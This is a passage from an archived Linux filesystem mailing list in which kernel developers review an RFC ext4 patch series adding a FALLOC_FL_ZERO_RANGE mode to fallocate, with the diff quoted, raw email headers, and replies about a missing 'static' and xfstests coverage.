0; > - goto retry; > - } > + ret = ext4_alloc_file_blocks(file, lblk, max_blocks, flags, mode); > + if (ret) > + goto out; > > handle = ext4_journal_start(inode, EXT4_HT_INODE, 2); > if (IS_ERR(handle)) > @@ -4620,7 +4640,7 @@ retry: > > inode->i_mtime = inode->i_ctime = ext4_current_time(inode); > > - if (ret > 0 && new_size) { > + if (!ret && new_size) { > if (new_size > i_size_read(inode)) > i_size_write(inode, new_size); > if (new_size > EXT4_I(inode)->i_disksize) > @@ -4633,9 +4653,8 @@ retry: > ext4_journal_stop(handle); > out: > mutex_unlock(&inode->i_mutex); > - trace_ext4_fallocate_exit(inode, offset, max_blocks, > - ret > 0 ? ret2 : ret); > - return ret > 0 ? ret2 : ret; > + trace_ext4_fallocate_exit(inode, offset, max_blocks, ret); > + return ret; > } > > /* > -- > 1.8.3.1 > > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From jonernst07@gmail.com Tue Feb 18 02:27:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3D9387FC0 for ; Tue, 18 Feb 2014 02:27:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id ED164304048 for ; Tue, 18 Feb 2014 00:27:16 -0800 (PST) X-ASG-Debug-ID: 1392712033-04bdf00fc3e2820001-NocioJ Received: from mail-qa0-f46.google.com (mail-qa0-f46.google.com [209.85.216.46]) by cuda.sgi.com with ESMTP id BJWJzzp6ZdsMv1Qo (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 00:27:14 -0800 (PST) X-Barracuda-Envelope-From: jonernst07@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.46 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.46] Received: by mail-qa0-f46.google.com with SMTP id k15so9623101qaq.5 for ; Tue, 18 Feb 2014 00:27:13 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.46] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.46] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=92eq5k+XQeju4bVwNKagJxYn6MWCrau9QJfI9vAyctE=; b=gR9JRpjRtd4+lKOVScVGBu5p6xafO5TrVzsqRxfb5TJn5lq8iq7Wnqy35Tc9cYjbHl y+DapltE/fab933k+KRAFHuItmz/77arEf5++QEmAeAgGzCKsUT8lgUBKX+6bxd8ibiP BDgNGu3lq3O4I/Zmw1x1EqMVXc/cAHxgTiP6wPCJ1JOENmBqopbBuWWUStJShzfSuUdn gRhgwDYc1uvXRw9/FpFPh1zMKKTJzZEVUYR2V6gyhM/WVp0QmHD2aFtzVj6TDFX2iUzN +/2BUQvFPldy1MCznbc8lcnBP+irSD13v43WfsD0PkdcslSuWkT3YAuwuvmAMLHAuNhA kClQ== MIME-Version: 1.0 X-Received: by 10.224.41.70 with SMTP id n6mr95171qae.96.1392712033604; Tue, 18 Feb 2014 00:27:13 -0800 (PST) Received: by 10.96.123.231 with HTTP; Tue, 18 Feb 2014 00:27:13 -0800 (PST) In-Reply-To: <1392649703-10772-6-git-send-email-lczerner@redhat.com> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <1392649703-10772-6-git-send-email-lczerner@redhat.com> Date: Tue, 18 Feb 2014 08:27:13 +0000 Message-ID: Subject: Re: [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate From: jon ernst X-ASG-Orig-Subj: Re: [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate To: Lukas Czerner Cc: "linux-ext4@vger.kernel.org List" , "Theodore Ts'o" , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f46.google.com[209.85.216.46] X-Barracuda-Start-Time: 1392712034 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145237 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature long ext4_zero_range(struct file *file, loff_t offset, loff_t len, int mode) needs "static" too. static long ext4_zero_range(struct file *file, loff_t offset, loff_t len, int mode) On Mon, Feb 17, 2014 at 3:08 PM, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > It can be used to convert a range of file to zeros preferably without > issuing data IO. Blocks should be preallocated for the regions that span > holes in the file, and the entire range is preferable converted to > unwritten extents > > This can be also used to preallocate blocks past EOF in the same way as > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > size to remain the same. > > Also add appropriate tracepoints. > > Signed-off-by: Lukas Czerner > --- > fs/ext4/ext4.h | 2 + > fs/ext4/extents.c | 262 +++++++++++++++++++++++++++++++++++++++++--- > fs/ext4/inode.c | 17 ++- > include/trace/events/ext4.h | 64 ++++++----- > 4 files changed, 292 insertions(+), 53 deletions(-) > > diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h > index 3b9601c..a649abe 100644 > --- a/fs/ext4/ext4.h > +++ b/fs/ext4/ext4.h > @@ -568,6 +568,8 @@ enum { > #define EXT4_GET_BLOCKS_NO_LOCK 0x0100 > /* Do not put hole in extent cache */ > #define EXT4_GET_BLOCKS_NO_PUT_HOLE 0x0200 > + /* Convert written extents to unwritten */ > +#define EXT4_GET_BLOCKS_CONVERT_UNWRITTEN 0x0400 > > /* > * The bit position of these flags must not overlap with any of the > diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c > index 4bfa870..af0e8af 100644 > --- a/fs/ext4/extents.c > +++ b/fs/ext4/extents.c > @@ -3568,6 +3568,8 @@ out: > * b> Splits in two extents: Write is happening at either end of the extent > * c> Splits in three extents: Somone is writing in middle of the extent > * > + * This works the same way in the case of initialized -> unwritten conversion. > + * > * One of more index blocks maybe needed if the extent tree grow after > * the uninitialized extent split. To prevent ENOSPC occur at the IO > * complete, we need to split the uninitialized extent before DIO submit > @@ -3578,7 +3580,7 @@ out: > * > * Returns the size of uninitialized extent to be written on success. > */ > -static int ext4_split_unwritten_extents(handle_t *handle, > +static int ext4_split_convert_extents(handle_t *handle, > struct inode *inode, > struct ext4_map_blocks *map, > struct ext4_ext_path *path, > @@ -3590,9 +3592,9 @@ static int ext4_split_unwritten_extents(handle_t *handle, > unsigned int ee_len; > int split_flag = 0, depth; > > - ext_debug("ext4_split_unwritten_extents: inode %lu, logical" > - "block %llu, max_blocks %u\n", inode->i_ino, > - (unsigned long long)map->m_lblk, map->m_len); > + ext_debug("%s: inode %lu, logical block %llu, max_blocks %u\n", > + __func__, inode->i_ino, > + (unsigned long long)map->m_lblk, map->m_len); > > eof_block = (inode->i_size + inode->i_sb->s_blocksize - 1) >> > inode->i_sb->s_blocksize_bits; > @@ -3607,14 +3609,73 @@ static int ext4_split_unwritten_extents(handle_t *handle, > ee_block = le32_to_cpu(ex->ee_block); > ee_len = ext4_ext_get_actual_len(ex); > > - split_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0; > - split_flag |= EXT4_EXT_MARK_UNINIT2; > - if (flags & EXT4_GET_BLOCKS_CONVERT) > - split_flag |= EXT4_EXT_DATA_VALID2; > + /* Convert to unwritten */ > + if (flags | EXT4_GET_BLOCKS_CONVERT_UNWRITTEN) { > + split_flag |= EXT4_EXT_DATA_VALID1; > + /* Convert to initialized */ > + } else if (flags | EXT4_GET_BLOCKS_CONVERT) { > + split_flag |= ee_block + ee_len <= eof_block ? > + EXT4_EXT_MAY_ZEROOUT : 0; > + split_flag |= (EXT4_EXT_MARK_UNINIT2 & EXT4_EXT_DATA_VALID2); > + } > flags |= EXT4_GET_BLOCKS_PRE_IO; > return ext4_split_extent(handle, inode, path, map, split_flag, flags); > } > > +static int ext4_convert_initialized_extents(handle_t *handle, > + struct inode *inode, > + struct ext4_map_blocks *map, > + struct ext4_ext_path *path) > +{ > + struct ext4_extent *ex; > + ext4_lblk_t ee_block; > + unsigned int ee_len; > + int depth; > + int err = 0; > + > + depth = ext_depth(inode); > + ex = path[depth].p_ext; > + ee_block = le32_to_cpu(ex->ee_block); > + ee_len = ext4_ext_get_actual_len(ex); > + > + ext_debug("%s: inode %lu, logical" > + "block %llu, max_blocks %u\n", __func__, inode->i_ino, > + (unsigned long long)ee_block, ee_len); > + > + if (ee_block != map->m_lblk || ee_len > map->m_len) { > + err = ext4_split_convert_extents(handle, inode, map, path, > + EXT4_GET_BLOCKS_CONVERT_UNWRITTEN); > + if (err < 0) > + goto out; > + ext4_ext_drop_refs(path); > + path = ext4_ext_find_extent(inode, map->m_lblk, path, 0); > + if (IS_ERR(path)) { > + err = PTR_ERR(path); > + goto out; > + } > + depth = ext_depth(inode); > + ex = path[depth].p_ext; > + } > + > + err = ext4_ext_get_access(handle, inode, path + depth); > + if (err) > + goto out; > + /* first mark the extent as uninitialized */ > + ext4_ext_mark_uninitialized(ex); > + > + /* note: ext4_ext_correct_indexes() isn't needed here because > + * borders are not changed > + */ > + ext4_ext_try_to_merge(handle, inode, path, ex); > + > + /* Mark modified extent as dirty */ > + err = ext4_ext_dirty(handle, inode, path + path->p_depth); > +out: > + ext4_ext_show_leaf(inode, path); > + return err; > +} > + > + > static int ext4_convert_unwritten_extents_endio(handle_t *handle, > struct inode *inode, > struct ext4_map_blocks *map, > @@ -3648,8 +3709,8 @@ static int ext4_convert_unwritten_extents_endio(handle_t *handle, > inode->i_ino, (unsigned long long)ee_block, ee_len, > (unsigned long long)map->m_lblk, map->m_len); > #endif > - err = ext4_split_unwritten_extents(handle, inode, map, path, > - EXT4_GET_BLOCKS_CONVERT); > + err = ext4_split_convert_extents(handle, inode, map, path, > + EXT4_GET_BLOCKS_CONVERT); > if (err < 0) > goto out; > ext4_ext_drop_refs(path); > @@ -3850,6 +3911,35 @@ get_reserved_cluster_alloc(struct inode *inode, ext4_lblk_t lblk_start, > } > > static int > +ext4_ext_convert_initialized_extent(handle_t *handle, struct inode *inode, > + struct ext4_map_blocks *map, > + struct ext4_ext_path *path, int flags, > + unsigned int allocated, ext4_fsblk_t newblock) > +{ > + int ret = 0; > + int err = 0; > + > + ret = ext4_convert_initialized_extents(handle, inode, map, > + path); > + if (ret >= 0) { > + ext4_update_inode_fsync_trans(handle, inode, 1); > + err = check_eofblocks_fl(handle, inode, map->m_lblk, > + path, map->m_len); > + } else > + err = ret; > + map->m_flags |= EXT4_MAP_UNWRITTEN; > + if (allocated > map->m_len) > + allocated = map->m_len; > + map->m_len = allocated; > + > + if (path) { > + ext4_ext_drop_refs(path); > + kfree(path); > + } > + return err ? err : allocated; > +} > + > +static int > ext4_ext_handle_uninitialized_extents(handle_t *handle, struct inode *inode, > struct ext4_map_blocks *map, > struct ext4_ext_path *path, int flags, > @@ -3876,8 +3966,8 @@ ext4_ext_handle_uninitialized_extents(handle_t *handle, struct inode *inode, > > /* get_block() before submit the IO, split the extent */ > if ((flags & EXT4_GET_BLOCKS_PRE_IO)) { > - ret = ext4_split_unwritten_extents(handle, inode, map, > - path, flags); > + ret = ext4_split_convert_extents(handle, inode, map, > + path, flags | EXT4_GET_BLOCKS_CONVERT); > if (ret <= 0) > goto out; > /* > @@ -4168,6 +4258,7 @@ int ext4_ext_map_blocks(handle_t *handle, struct inode *inode, > ext4_fsblk_t ee_start = ext4_ext_pblock(ex); > unsigned short ee_len; > > + > /* > * Uninitialized extents are treated as holes, except that > * we split out initialized portions during a write. > @@ -4184,7 +4275,17 @@ int ext4_ext_map_blocks(handle_t *handle, struct inode *inode, > ext_debug("%u fit into %u:%d -> %llu\n", map->m_lblk, > ee_block, ee_len, newblock); > > - if (!ext4_ext_is_uninitialized(ex)) > + /* > + * If the extent is initialized check whether the > + * caller wants to convert it to unwritten. > + */ > + if ((!ext4_ext_is_uninitialized(ex)) && > + (flags & EXT4_GET_BLOCKS_CONVERT_UNWRITTEN)) { > + allocated = ext4_ext_convert_initialized_extent( > + handle, inode, map, path, flags, > + allocated, newblock); > + goto out3; > + } else if (!ext4_ext_is_uninitialized(ex)) > goto out; > > allocated = ext4_ext_handle_uninitialized_extents( > @@ -4570,6 +4671,135 @@ retry: > return ret > 0 ? ret2 : ret; > } > > +long ext4_zero_range(struct file *file, loff_t offset, loff_t len, int mode) > +{ > + struct inode *inode = file_inode(file); > + handle_t *handle = NULL; > + unsigned int max_blocks; > + loff_t new_size = 0; > + int ret = 0; > + int flags; > + int partial; > + loff_t start, end; > + ext4_lblk_t lblk; > + struct address_space *mapping = inode->i_mapping; > + unsigned int blkbits = inode->i_blkbits; > + > + trace_ext4_zero_range(inode, offset, len, mode); > + > + /* > + * Write out all dirty pages to avoid race conditions > + * Then release them. > + */ > + if (mapping->nrpages && mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) { > + ret = filemap_write_and_wait_range(mapping, offset, > + offset + len - 1); > + if (ret) > + return ret; > + } > + > + /* > + * Round up offset. This is not fallocate, we neet to zero out > + * blocks, so convert interior block aligned part of the range to > + * unwritten and possibly manually zero out unaligned parts of the > + * range. > + */ > + start = round_up(offset, 1 << blkbits); > + end = round_down((offset + len), 1 << blkbits); > + > + if (start < offset || end > offset + len) > + return -EINVAL; > + partial = (offset + len) & ((1 << blkbits) - 1); > + > + lblk = start >> blkbits; > + max_blocks = (end >> blkbits); > + if (max_blocks < lblk) > + max_blocks = 0; > + else > + max_blocks -= lblk; > + > + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT | > + EXT4_GET_BLOCKS_CONVERT_UNWRITTEN; > + if (mode & FALLOC_FL_KEEP_SIZE) > + flags |= EXT4_GET_BLOCKS_KEEP_SIZE; > + > + mutex_lock(&inode->i_mutex); > + > + /* > + * Indirect files do not support unwritten extnets > + */ > + if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) { > + ret = -EOPNOTSUPP; > + goto out_mutex; > + } > + > + if (!(mode & FALLOC_FL_KEEP_SIZE) && > + offset + len > i_size_read(inode)) { > + new_size = offset + len; > + ret = inode_newsize_ok(inode, new_size); > + if (ret) > + goto out_mutex; > + /* > + * If we have a partial block after EOF we have to allocate > + * the entire block. > + */ > + if (partial) > + max_blocks += 1; > + } > + > + if (max_blocks > 0) { > + > + /* Now release the pages and zero block aligned part of pages*/ > + truncate_pagecache_range(inode, start, end - 1); > + > + /* Wait all existing dio workers, newcomers will block on i_mutex */ > + ext4_inode_block_unlocked_dio(inode); > + inode_dio_wait(inode); > + > + /* > + * Remove entire range from the extent status tree. > + */ > + ret = ext4_es_remove_extent(inode, lblk, max_blocks); > + if (ret) > + goto out_dio; > + > + ret = ext4_alloc_file_blocks(file, lblk, max_blocks, flags, > + mode); > + if (ret) > + goto out_dio; > + } > + > + handle = ext4_journal_start(inode, EXT4_HT_MISC, 4); > + if (IS_ERR(handle)) { > + ret = PTR_ERR(handle); > + ext4_std_error(inode->i_sb, ret); > + goto out_dio; > + } > + > + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); > + > + if (!ret && new_size) { > + if (new_size > i_size_read(inode)) > + i_size_write(inode, new_size); > + if (new_size > EXT4_I(inode)->i_disksize) > + ext4_update_i_disksize(inode, new_size); > + } > + ext4_mark_inode_dirty(handle, inode); > + > + /* Zero out partial block at the edges of the range */ > + ret = ext4_zero_partial_blocks(handle, inode, offset, len); > + > + if (file->f_flags & O_SYNC) > + ext4_handle_sync(handle); > + > + ext4_journal_stop(handle); > +out_dio: > + ext4_inode_resume_unlocked_dio(inode); > +out_mutex: > + mutex_unlock(&inode->i_mutex); > + return ret; > +} > + > /* > * preallocate space for a file. This implements ext4's fallocate file > * operation, which gets called from sys_fallocate system call. > @@ -4589,7 +4819,8 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > unsigned int blkbits = inode->i_blkbits; > > /* Return error if mode is not supported */ > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > + FALLOC_FL_ZERO_RANGE)) > return -EOPNOTSUPP; > > if (mode & FALLOC_FL_PUNCH_HOLE) > @@ -4606,6 +4837,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) > return -EOPNOTSUPP; > > + if (mode & FALLOC_FL_ZERO_RANGE) > + return ext4_zero_range(file, offset, len, mode); > + > trace_ext4_fallocate_enter(inode, offset, len, mode); > lblk = offset >> blkbits; > /* > diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c > index 6e39895..e64807f 100644 > --- a/fs/ext4/inode.c > +++ b/fs/ext4/inode.c > @@ -503,6 +503,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, > { > struct extent_status es; > int retval; > + int ret = 0; > #ifdef ES_AGGRESSIVE_TEST > struct ext4_map_blocks orig_map; > > @@ -552,7 +553,6 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, > EXT4_GET_BLOCKS_KEEP_SIZE); > } > if (retval > 0) { > - int ret; > unsigned int status; > > if (unlikely(retval != map->m_len)) { > @@ -579,7 +579,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, > > found: > if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) { > - int ret = check_block_validity(inode, map); > + ret = check_block_validity(inode, map); > if (ret != 0) > return ret; > } > @@ -596,7 +596,13 @@ found: > * with buffer head unmapped. > */ > if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) > - return retval; > + /* > + * If we need to convert extent to unwritten > + * we continue and do the actual work in > + * ext4_ext_map_blocks() > + */ > + if (!(flags & EXT4_GET_BLOCKS_CONVERT_UNWRITTEN)) > + return retval; > > /* > * Here we clear m_flags because after allocating an new extent, > @@ -652,7 +658,6 @@ found: > ext4_clear_inode_state(inode, EXT4_STATE_DELALLOC_RESERVED); > > if (retval > 0) { > - int ret; > unsigned int status; > > if (unlikely(retval != map->m_len)) { > @@ -687,7 +692,7 @@ found: > has_zeroout: > up_write((&EXT4_I(inode)->i_data_sem)); > if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) { > - int ret = check_block_validity(inode, map); > + ret = check_block_validity(inode, map); > if (ret != 0) > return ret; > } > @@ -3501,7 +3506,7 @@ int ext4_punch_hole(struct inode *inode, loff_t offset, loff_t length) > if (!S_ISREG(inode->i_mode)) > return -EOPNOTSUPP; > > - trace_ext4_punch_hole(inode, offset, length); > + trace_ext4_punch_hole(inode, offset, length, 0); > > /* > * Write out all dirty pages to avoid race conditions > diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h > index 451e020..7bb26aa 100644 > --- a/include/trace/events/ext4.h > +++ b/include/trace/events/ext4.h > @@ -71,7 +71,8 @@ struct extent_status; > #define show_falloc_mode(mode) __print_flags(mode, "|", \ > { FALLOC_FL_KEEP_SIZE, "KEEP_SIZE"}, \ > { FALLOC_FL_PUNCH_HOLE, "PUNCH_HOLE"}, \ > - { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}) > + { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}, \ > + { FALLOC_FL_ZERO_RANGE, "ZERO_RANGE"}) > > > TRACE_EVENT(ext4_free_inode, > @@ -1333,7 +1334,7 @@ TRACE_EVENT(ext4_direct_IO_exit, > __entry->rw, __entry->ret) > ); > > -TRACE_EVENT(ext4_fallocate_enter, > +DECLARE_EVENT_CLASS(ext4__fallocate_mode, > TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), > > TP_ARGS(inode, offset, len, mode), > @@ -1341,23 +1342,45 @@ TRACE_EVENT(ext4_fallocate_enter, > TP_STRUCT__entry( > __field( dev_t, dev ) > __field( ino_t, ino ) > - __field( loff_t, pos ) > - __field( loff_t, len ) > + __field( loff_t, offset ) > + __field( loff_t, len ) > __field( int, mode ) > ), > > TP_fast_assign( > __entry->dev = inode->i_sb->s_dev; > __entry->ino = inode->i_ino; > - __entry->pos = offset; > + __entry->offset = offset; > __entry->len = len; > __entry->mode = mode; > ), > > - TP_printk("dev %d,%d ino %lu pos %lld len %lld mode %s", > + TP_printk("dev %d,%d ino %lu offset %lld len %lld mode %s", > MAJOR(__entry->dev), MINOR(__entry->dev), > - (unsigned long) __entry->ino, __entry->pos, > - __entry->len, show_falloc_mode(__entry->mode)) > + (unsigned long) __entry->ino, > + __entry->offset, __entry->len, > + show_falloc_mode(__entry->mode)) > +); > + > +DEFINE_EVENT(ext4__fallocate_mode, ext4_fallocate_enter, > + > + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), > + > + TP_ARGS(inode, offset, len, mode) > +); > + > +DEFINE_EVENT(ext4__fallocate_mode, ext4_punch_hole, > + > + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), > + > + TP_ARGS(inode, offset, len, mode) > +); > + > +DEFINE_EVENT(ext4__fallocate_mode, ext4_zero_range, > + > + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), > + > + TP_ARGS(inode, offset, len, mode) > ); > > TRACE_EVENT(ext4_fallocate_exit, > @@ -1389,31 +1412,6 @@ TRACE_EVENT(ext4_fallocate_exit, > __entry->ret) > ); > > -TRACE_EVENT(ext4_punch_hole, > - TP_PROTO(struct inode *inode, loff_t offset, loff_t len), > - > - TP_ARGS(inode, offset, len), > - > - TP_STRUCT__entry( > - __field( dev_t, dev ) > - __field( ino_t, ino ) > - __field( loff_t, offset ) > - __field( loff_t, len ) > - ), > - > - TP_fast_assign( > - __entry->dev = inode->i_sb->s_dev; > - __entry->ino = inode->i_ino; > - __entry->offset = offset; > - __entry->len = len; > - ), > - > - TP_printk("dev %d,%d ino %lu offset %lld len %lld", > - MAJOR(__entry->dev), MINOR(__entry->dev), > - (unsigned long) __entry->ino, > - __entry->offset, __entry->len) > -); > - > TRACE_EVENT(ext4_unlink_enter, > TP_PROTO(struct inode *parent, struct dentry *dentry), > > -- > 1.8.3.1 > > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From david@fromorbit.com Tue Feb 18 02:33:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 796CA7FBD for ; Tue, 18 Feb 2014 02:33:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4102A304059 for ; Tue, 18 Feb 2014 00:33:48 -0800 (PST) X-ASG-Debug-ID: 1392712425-04bdf00fcae2e70001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id EYRRcxCUXzW7Kct6 for ; Tue, 18 Feb 2014 00:33:46 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmYOAFAaA1N5LJYe/2dsb2JhbABZgwY4qHgDkVeFVIEUF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIBA7LFxcWjmsHgySBFASYK4EziR2HVINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 19:03:27 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFg7I-0007eg-Dr; Tue, 18 Feb 2014 19:33:24 +1100 Date: Tue, 18 Feb 2014 19:33:24 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140218083324.GB28666@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140218010138.GE13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140218010138.GE13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392712425 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145237 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 12:01:38PM +1100, Dave Chinner wrote: > On Mon, Feb 17, 2014 at 04:08:17PM +0100, Lukas Czerner wrote: > > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > > > It can be used to convert a range of file to zeros preferably without > > issuing data IO. Blocks should be preallocated for the regions that span > > holes in the file, and the entire range is preferable converted to > > unwritten extents - even though file system may choose to zero out the > > extent or do whatever which will result in reading zeros from the range > > while the range remains allocated for the file. > > > > This can be also used to preallocate blocks past EOF in the same way as > > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > > size to remain the same. > > > > You can test this feature yourself using xfstests, of fallocate(1) however > > you'll need patches for util_linux, xfsprogs and xfstests which you > > can find here: > > > > http://people.redhat.com/lczerner/zero_range/ > > > > I'll post the patches after we agree and merge the kernel functionality. > > > > I tested this mostly with a subset of xfstests using fsx and fsstress and > > even with new generic/290 which is just a copy of xfs/290 usinz fzero > > command for xfs_io instead of zero (which uses ioctl). I was testing on > > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > You also want to convert xfs/242 to be a generic test - it uses the > _generic_test_punch helper to test all the corner cases across > different extent type transitions. > > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; FWIW. if that's a group of tests you consider good for testing extent tree modifications, then can you create a test group for these by adding "extent" to each of the tests in the group file? Cheers, Dave. -- Dave Chinner david@fromorbit.com From lczerner@redhat.com Tue Feb 18 03:06:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_BELOW2 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B00AB7F69 for ; Tue, 18 Feb 2014 03:06:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 481F4AC004 for ; Tue, 18 Feb 2014 01:06:03 -0800 (PST) X-ASG-Debug-ID: 1392714362-04bdf00fc9e50f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id jmxjPrs63pJcy5OF for ; Tue, 18 Feb 2014 01:06:03 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1I95sjp027626 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Feb 2014 04:05:55 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx12.intmail.prod.int.phx2.redhat.com 